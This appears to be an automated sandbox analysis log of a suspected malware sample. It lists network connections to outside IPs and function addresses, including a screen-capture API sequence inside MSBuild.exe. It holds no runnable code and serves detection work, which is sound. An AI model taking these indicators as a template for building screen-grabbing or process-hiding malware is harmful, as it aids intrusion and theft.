Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51419
Source: unknown	Network traffic detected: HTTP traffic on port 51338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51410
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51411
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51532
Source: unknown	Network traffic detected: HTTP traffic on port 51454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51387
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51385
Source: unknown	Network traffic detected: HTTP traffic on port 51507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51390
Source: unknown	Network traffic detected: HTTP traffic on port 51451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51393
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51394
Source: unknown	Network traffic detected: HTTP traffic on port 51474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51392
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51397
Source: unknown	Network traffic detected: HTTP traffic on port 51301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51398
Source: unknown	Network traffic detected: HTTP traffic on port 51565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51399
Source: unknown	Network traffic detected: HTTP traffic on port 51347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51295
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51299
Source: unknown	Network traffic detected: HTTP traffic on port 51427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51348
Source: unknown	Network traffic detected: HTTP traffic on port 51417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51349
Source: unknown	Network traffic detected: HTTP traffic on port 51484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51345
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51466
Source: unknown	Network traffic detected: HTTP traffic on port 51369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51471
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51475
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51472
Source: unknown	Network traffic detected: HTTP traffic on port 51506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51473
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51477
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51361
Source: unknown	Network traffic detected: HTTP traffic on port 51473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51480
Source: unknown	Network traffic detected: HTTP traffic on port 51517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51364
Source: unknown	Network traffic detected: HTTP traffic on port 51302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51485
Source: unknown	Network traffic detected: HTTP traffic on port 51505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51488
Source: unknown	Network traffic detected: HTTP traffic on port 51528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51372
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51491
Source: unknown	Network traffic detected: HTTP traffic on port 51533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51375
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51373
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51379
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51382
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51383
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51380
Source: unknown	Network traffic detected: HTTP traffic on port 51496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51381
Source: unknown	Network traffic detected: HTTP traffic on port 51406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51322 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:51295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:51299 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:51376 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411F2A CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_00411F2A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	1_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB7ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	1_2_6CB7ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBBB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CBBB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBBB8C0 rand_s,NtQueryVirtualMemory,	1_2_6CBBB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBBB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6CBBB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CB5F280

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB2021	0_2_00DB2021
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB729C	0_2_00DB729C
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0A22B	0_2_00E0A22B
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DFE3DF	0_2_00DFE3DF
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DCD39B	0_2_00DCD39B
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DF94DB	0_2_00DF94DB
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0A5C9	0_2_00E0A5C9
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DF6570	0_2_00DF6570
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DF877B	0_2_00DF877B
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DC572C	0_2_00DC572C
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0A99B	0_2_00E0A99B
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DBCAF2	0_2_00DBCAF2
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DCBB36	0_2_00DCBB36
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DC3C92	0_2_00DC3C92
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0AD83	0_2_00E0AD83
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E09D96	0_2_00E09D96
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB1D79	0_2_00DB1D79
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DBFEF0	0_2_00DBFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C603	1_2_0041C603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B8A3	1_2_0041B8A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DAC3	1_2_0042DAC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D353	1_2_0042D353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D6F1	1_2_0042D6F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00419698	1_2_00419698
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DEAB	1_2_0042DEAB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042CEBE	1_2_0042CEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB535A0	1_2_6CB535A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBB34A0	1_2_6CBB34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBBC4A0	1_2_6CBBC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB66C80	1_2_6CB66C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB96CF0	1_2_6CB96CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5D4E0	1_2_6CB5D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB7D4D0	1_2_6CB7D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB664C0	1_2_6CB664C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC542B	1_2_6CBC542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB95C10	1_2_6CB95C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBA2C10	1_2_6CBA2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBCAC00	1_2_6CBCAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC545C	1_2_6CBC545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB65440	1_2_6CB65440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBB85F0	1_2_6CBB85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB90DD0	1_2_6CB90DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB7ED10	1_2_6CB7ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB80512	1_2_6CB80512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB6FD00	1_2_6CB6FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBB4EA0	1_2_6CBB4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB75E90	1_2_6CB75E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBBE680	1_2_6CBBE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5BEF0	1_2_6CB5BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB6FEF0	1_2_6CB6FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC76E3	1_2_6CBC76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBB9E30	1_2_6CBB9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB97E10	1_2_6CB97E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBA5600	1_2_6CBA5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5C670	1_2_6CB5C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC6E63	1_2_6CBC6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB79E50	1_2_6CB79E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB93E50	1_2_6CB93E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBA2E4E	1_2_6CBA2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB74640	1_2_6CB74640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBA77A0	1_2_6CBA77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB86FF0	1_2_6CB86FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5DFE0	1_2_6CB5DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB97710	1_2_6CB97710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB69F00	1_2_6CB69F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB860A0	1_2_6CB860A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB7C0E0	1_2_6CB7C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB958E0	1_2_6CB958E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC50C7	1_2_6CBC50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB9B820	1_2_6CB9B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBA4820	1_2_6CBA4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB67810	1_2_6CB67810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB9F070	1_2_6CB9F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB78850	1_2_6CB78850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB7D850	1_2_6CB7D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB8D9B0	1_2_6CB8D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5C9A0	1_2_6CB5C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB95190	1_2_6CB95190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBB2990	1_2_6CBB2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBAB970	1_2_6CBAB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBCB170	1_2_6CBCB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB6D960	1_2_6CB6D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB7A940	1_2_6CB7A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB6CAB0	1_2_6CB6CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC2AB0	1_2_6CBC2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB522A0	1_2_6CB522A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB84AA0	1_2_6CB84AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBCBA90	1_2_6CBCBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB71AF0	1_2_6CB71AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB9E2F0	1_2_6CB9E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB98AC0	1_2_6CB98AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB99A60	1_2_6CB99A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5F380	1_2_6CB5F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC53C8	1_2_6CBC53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB9D320	1_2_6CB9D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB6C370	1_2_6CB6C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB55340	1_2_6CB55340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC5ECD0	1_2_6CC5ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBFECC0	1_2_6CBFECC0
